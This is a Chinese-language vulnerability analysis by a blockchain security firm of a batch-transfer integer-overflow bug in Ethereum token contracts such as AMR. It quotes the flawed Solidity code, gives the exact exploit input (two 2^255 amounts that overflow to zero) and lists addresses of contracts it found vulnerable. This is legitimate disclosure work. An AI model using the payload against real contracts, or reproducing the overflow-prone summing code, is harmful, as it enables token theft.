日前,互联网爆出AMR合约存在高危安全风险的交易,该合约存在批量转账溢出漏洞,当合约实现批量转账功能时,容易在计算通证增加量时发生溢出漏洞,BUGX.IO安全团队经过研究分析发现,同类漏洞仍在以太坊里面部分存在。
以下为漏洞分析过程:
/*** @dev Function is used to perform a multi-transfer operation.
This could play a significant role in the Ammbr Mesh Routing protocol.
** Mechanics:
* Sends tokens from Sender to destinations[0..n] the amount tokens[0..n].
Both arrays
* must have the same size, and must have a greater-than-zero length.
Max array size is 127.
** IMPORTANT: ANTIPATTERN
* This function performs a loop over arrays.
Unless executed in a controlled environment,
* it has the potential of failing due to gas running out.
This is not dangerous, yet care
* must be taken to prevent quality being affected.
** @param destinations An array of destinations we would be sending tokens to
* @param tokens An array of tokens, sent to destinations (index is used for destination->token match)
*/function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){
// Two variables must match in length, and must contain elements
// Plus, a maximum of 127 transfers are supported
assert(destinations.length > 0);
assert(destinations.length < 128);
assert(destinations.length == tokens.length);
// Check total requested balance
uint8 i = 0;
uint totalTokensToTransfer = 0;
for (i = 0; i < destinations.length; i++){assert(tokens[i] > 0);totalTokensToTransfer += tokens[i]; }
// Do we have enough tokens in hand?
assert (balances[msg.sender] > totalTokensToTransfer);
// We have enough tokens, execute the transfer
balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);
for (i = 0; i < destinations.length; i++){
// Add the token to the intended destination
balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);
// Call the event...
emit Transfer(msg.sender, destinations[i], tokens[i]); } return true; }
totalTokensToTransfer+=tokens[i];这一句溢出,溢出后,totalTokensToTransfer变小了,从而绕过了assert(balances[msg.sender]>totalTokensToTransfer);的判断,这样就能花极少的token,任意增加目标地址的token。
看到攻击者的攻击行为:
https://etherscan.io/tx/0xd4ee42c454941fccb5d03f6155e288f28cc00473ba927ee4b19ad4e2bfc68b68
可以看到这两个 tokens 值都是 uint256 最大值的一半,两个加起来刚好溢出变为 0。
“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,1
使用 balanceOf
可以查看到 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 有 balances 为 1
这里需要两个地址,一个是攻击者,另一个为其它地址,这里设置 0 地址就行。
执行 multiTransfer 就行。
[“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,”0x0000000000000000000000000000000000000000”],[“57896044618658097711785492504343953926634992332820282019728792003956564819968”,”57896044618658097711785492504343953926634992332820282019728792003956564819968”]
可以看到攻击者余额已经变得非常大。
function multiTransfer(address[] recipients, uint256[] amounts) public {
require(recipients.length == amounts.length);
for (uint i = 0; i < recipients.length; i++) {
transfer(recipients[i], amounts[i]); }}
在对以太坊上做进一步探索的时候,我们发现批量转账功能或者批量充值功能的实现主要有以下几种形式:
此功能在构造函数中实现,只有部署的时候能够使用,所以不可利用。
/// @title Gnosis token contract///
@author Stefan George -
<stefan.george@consensys.net>contract GnosisToken is StandardToken
{ /* * Token meta data */ string constant public name
= "Gnosis Token"; string constant public symbol = "GNO";
uint8 constant public decimals = 18; /* * Public functions */
/// @dev Contract constructor function sets dutch auction
contract address and assigns all tokens to dutch auction.
/// @param dutchAuction Address of dutch auction contract.
/// @param owners Array of addresses receiving preassigned tokens.
/// @param tokens Array of preassigned token amounts.
function GnosisToken(address dutchAuction, address[] owners, uint[] tokens)
public { if (dutchAuction == 0) // Address should not be null.
throw; totalSupply = 10000000 * 10**18;
balances[dutchAuction] = 9000000 * 10**18;
Transfer(0, dutchAuction, balances[dutchAuction]);
uint assignedTokens = balances[dutchAuction];
for (uint i=0; i<owners.length; i++) { if (owners[i] == 0)
// Address should not be null. throw;
balances[owners[i]] += tokens[i]; Transfer(0, owners[i], tokens[i]);
assignedTokens += tokens[i]; } if (assignedTokens != totalSupply)
throw; }}
function batchTransfer(address[] _to, uint[] _value) checkAccess
("currencyOwner") returns (bool) { if (_to.length != _value.length) {
Error(7, tx.origin, msg.sender); return false; }
uint totalToSend = 0; for (uint8 i = 0; i < _value.length; i++) {
totalToSend += _value[i]; } ElcoinDb db = _db();
if (db.getBalance(msg.sender) < totalToSend) {
Error(8, tx.origin, msg.sender); return false; }
db.withdraw(msg.sender, totalToSend, 0, 0);
for (uint8 j = 0; j < _to.length; j++) {
db.deposit(_to[j], _value[j], 0, 0);
Transfer(msg.sender, _to[j], _value[j]); } return true; }
即使有漏洞,但受到管理者权限控制,所以一般不可利用。
function transferMulti(address[] _to, uint256[] _value)
public returns (uint256 amount){ require(_to.length == _value.length);
uint8 len = uint8(_to.length); for(uint8 j; j<len; j++){
amount += _value[j]; } require(balanceOf[msg.sender] >= amount);
for(uint8 i; i<len; i++){ address _toI = _to[i];
uint256 _valueI = _value[i]; balanceOf[_toI] += _valueI;
balanceOf[msg.sender] -= _valueI;
Transfer(msg.sender, _toI, _valueI); } }
我们看到了不少这种形式的写法,通过 amount += _value[j];
的增加,溢出后绕过了 require(balanceOf[msg.sender] >= amount);
的检测。
研究此漏洞原理后,我们使用自研的审计系统”以太坊冲击波”,对以太坊上的合约进行整体监测,发现了以下合约均存在此漏洞。
合约名称 | 地址 |
---|---|
AMMBR (AMR) | 0x96c833e43488c986676e9f6b3b8781812629bbb5 |
Beauty Coin (BEAUTY) | 0x623afe103fb8d189b56311e4ce9956ec0989b412 |
Beauty Coin (Beauty) | 0xb5a1df09ccaa8197d54839c2c9175ec32b560151 |
Car Token (CRT) | 0xdf4b22695eeb4a7a1cf9a42162285ce782b8427a |
KoreaShow | 0x330bebabc9a2a4136e3d1cb38ca521f5a95aec2e |
Pasadena Token (PSDT) | 0x80248bb8bd26f449dea5b4d01faf936075b7111d |
Rocket Coin (XRC) | 0x6fc9c554c2363805673f18b3a2b1912cce8bfb8a |
Sinphonim (SPM) | 0x715423a818f1f9a85c66d81d2809e0a4dadf07f3 |
Social Chain (SCA) | 0xb75a5e36cc668bc8fe468e8f272cd4a0fd0fd773 |
AMR 合约地址(点击阅读原文查看)
BUGX.IO是一家致力于区块链领域的安全公司。核心团队组建于2014年,我们在区块链生态安全、行业解决方案、安全建设、红蓝对抗等方面有深厚积累与过硬专业素养。
*本文作者:BUGX.IO-Tri0nes,转载请注明来自FreeBuf.COM